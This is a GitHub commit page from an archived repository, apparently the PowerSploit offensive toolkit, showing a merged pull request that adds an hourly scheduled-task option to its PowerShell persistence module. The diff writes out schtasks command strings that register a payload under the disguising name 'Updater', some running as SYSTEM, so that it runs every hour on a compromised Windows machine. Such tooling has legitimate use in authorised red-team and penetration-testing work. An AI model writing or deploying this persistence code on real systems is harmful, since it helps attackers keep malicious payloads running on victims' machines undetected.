Skip to content
This repository has been archived by the owner on Jan 21, 2021. It is now read-only.

Commit

Permalink
Merge pull request #132 from pyllyukko/sch_hourly
Browse files Browse the repository at this point in the history
Add hourly scheduled task persistence option
  • Loading branch information
mattifestation committed May 29, 2016
2 parents 2a813fa + 75a37a0 commit 262a260
Showing 1 changed file with 40 additions and 0 deletions.
40 changes: 40 additions & 0 deletions Persistence/Persistence.psm1
Expand Up @@ -55,6 +55,10 @@ function New-ElevatedPersistenceOption
Starts the payload daily.
.PARAMETER Hourly
Starts the payload hourly.
.PARAMETER At
Starts the payload at the specified time. You may specify times in the following formats: '12:31 AM', '2 AM', '23:00:00', or '4:06:26 PM'.
Expand Down Expand Up @@ -83,6 +87,7 @@ function New-ElevatedPersistenceOption
$PermanentWMI,

[Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
[Parameter( ParameterSetName = 'ScheduledTaskHourly', Mandatory = $True )]
[Parameter( ParameterSetName = 'ScheduledTaskAtLogon', Mandatory = $True )]
[Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )]
[Switch]
Expand All @@ -97,6 +102,10 @@ function New-ElevatedPersistenceOption
[Switch]
$Daily,

[Parameter( ParameterSetName = 'ScheduledTaskHourly', Mandatory = $True )]
[Switch]
$Hourly,

[Parameter( ParameterSetName = 'PermanentWMIDaily', Mandatory = $True )]
[Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
[DateTime]
Expand Down Expand Up @@ -156,6 +165,12 @@ function New-ElevatedPersistenceOption
$PersistenceOptionsTable['Time'] = $At
}

'ScheduledTaskHourly'
{
$PersistenceOptionsTable['Method'] = 'ScheduledTask'
$PersistenceOptionsTable['Trigger'] = 'Hourly'
}

'Registry'
{
$PersistenceOptionsTable['Method'] = 'Registry'
Expand Down Expand Up @@ -214,6 +229,10 @@ function New-UserPersistenceOption
Starts the payload daily.
.PARAMETER Hourly
Starts the payload hourly.
.PARAMETER At
Starts the payload at the specified time. You may specify times in the following formats: '12:31 AM', '2 AM', '23:00:00', or '4:06:26 PM'.
Expand All @@ -233,6 +252,7 @@ function New-UserPersistenceOption

[CmdletBinding()] Param (
[Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
[Parameter( ParameterSetName = 'ScheduledTaskHourly', Mandatory = $True )]
[Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )]
[Switch]
$ScheduledTask,
Expand All @@ -245,6 +265,10 @@ function New-UserPersistenceOption
[Switch]
$Daily,

[Parameter( ParameterSetName = 'ScheduledTaskHourly', Mandatory = $True )]
[Switch]
$Hourly,

[Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
[DateTime]
$At,
Expand Down Expand Up @@ -285,6 +309,12 @@ function New-UserPersistenceOption
$PersistenceOptionsTable['Time'] = $At
}

'ScheduledTaskHourly'
{
$PersistenceOptionsTable['Method'] = 'ScheduledTask'
$PersistenceOptionsTable['Trigger'] = 'Hourly'
}

'Registry'
{
$PersistenceOptionsTable['Method'] = 'Registry'
Expand Down Expand Up @@ -574,6 +604,11 @@ Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Obj
$ElevatedTrigger = "schtasks /Create /RU system /SC DAILY /ST $($ElevatedPersistenceOption.Time.ToString('HH:mm:ss')) /TN Updater /TR "
}

'Hourly'
{
$ElevatedTrigger = "schtasks /Create /RU system /SC HOURLY /TN Updater /TR "
}

'OnIdle'
{
$ElevatedTrigger = "schtasks /Create /RU system /SC ONIDLE /I 1 /TN Updater /TR "
Expand Down Expand Up @@ -617,6 +652,11 @@ Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Obj
$UserTrigger = "schtasks /Create /SC DAILY /ST $($UserPersistenceOption.Time.ToString('HH:mm:ss')) /TN Updater /TR "
}

'Hourly'
{
$UserTrigger = "schtasks /Create /SC HOURLY /TN Updater /TR "
}

'OnIdle'
{
$UserTrigger = "schtasks /Create /SC ONIDLE /I 1 /TN Updater /TR "
Expand Down

0 comments on commit 262a260

Please sign in to comment.